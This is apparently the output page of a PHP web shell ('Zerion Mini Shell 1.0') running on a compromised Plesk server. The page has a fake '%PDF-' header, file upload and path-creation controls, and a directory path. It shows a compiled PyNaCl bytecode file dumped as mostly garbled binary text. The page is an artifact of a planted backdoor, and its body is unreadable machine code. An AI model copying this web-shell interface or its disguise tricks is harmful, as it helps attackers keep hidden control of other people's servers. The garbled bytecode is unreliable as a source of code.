%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/utils.pyo

�
�֫[c@`s�ddlmZmZmZddlmZddljZddl	m
Z
mZddlmZd�Z
d�Zd�Zd	�Zd
�ZdS(i(tabsolute_importtdivisiontprint_function(t
integer_typesN(tffitlib(tensurecC`s�tt|t�dtj�tt|t�dtj�tt|�t|��}tjd|�}tjd|�}tj	||t|��tj	||t|��t|�t|�k}t
j|||�dk}|o�|S(Ntraisingschar []i(Rt
isinstancetbytestexct	TypeErrortmaxtlenRtnewtmemmoveRt
sodium_memcmp(tinp1tinp2tlntbuf1tbuf2teqLteqC((sJ/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/utils.pyRs

cC`s�tt|t�dtj�tt|t�dtj�|dkrPtj�nt|�}||}tj	d|�}tj	dd�}tj
|||�tj|||||�}t|dkddtj
�tj||d�S(NRisunsigned char []s	size_t []isPadding failure(RRR	R
RRt
ValueErrorR
RRRRt
sodium_padtCryptoErrortbuffer(tst	blocksizets_lentm_lentbuftp_lentrc((sJ/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/utils.pyR.s


cC`s�tt|t�dtj�tt|t�dtj�t|�}tjdd�}t	j
||||�}|dkr�tjd��n||d S(NRs	size_t []iisUnpadding failure(RRR	R
RRR
RRRtsodium_unpadR(RRRtu_lenR"((sJ/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/utils.pyR#Js

cC`sntt|t�dtj�t|�}tjd|�}tj|||�t	j
||�tj||�S(NRsunsigned char [](RRR	R
RR
RRRRtsodium_incrementR(tinpRR ((sJ/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/utils.pyR%as

cC`s�tt|t�dtj�tt|t�dtj�t|�}tt|�|kdtj�tjd|�}tjd|�}tj|||�tj|||�t	j
|||�tj||�S(NRsunsigned char [](RRR	R
RR
RRRRt
sodium_addR(tatbRtbuf_atbuf_b((sJ/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/utils.pyR'{s


(t
__future__RRRtsixRtnacl.exceptionst
exceptionsR
tnacl._sodiumRRRRRR#R%R'(((sJ/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/utils.pyt<module>s				

Zerion Mini Shell 1.0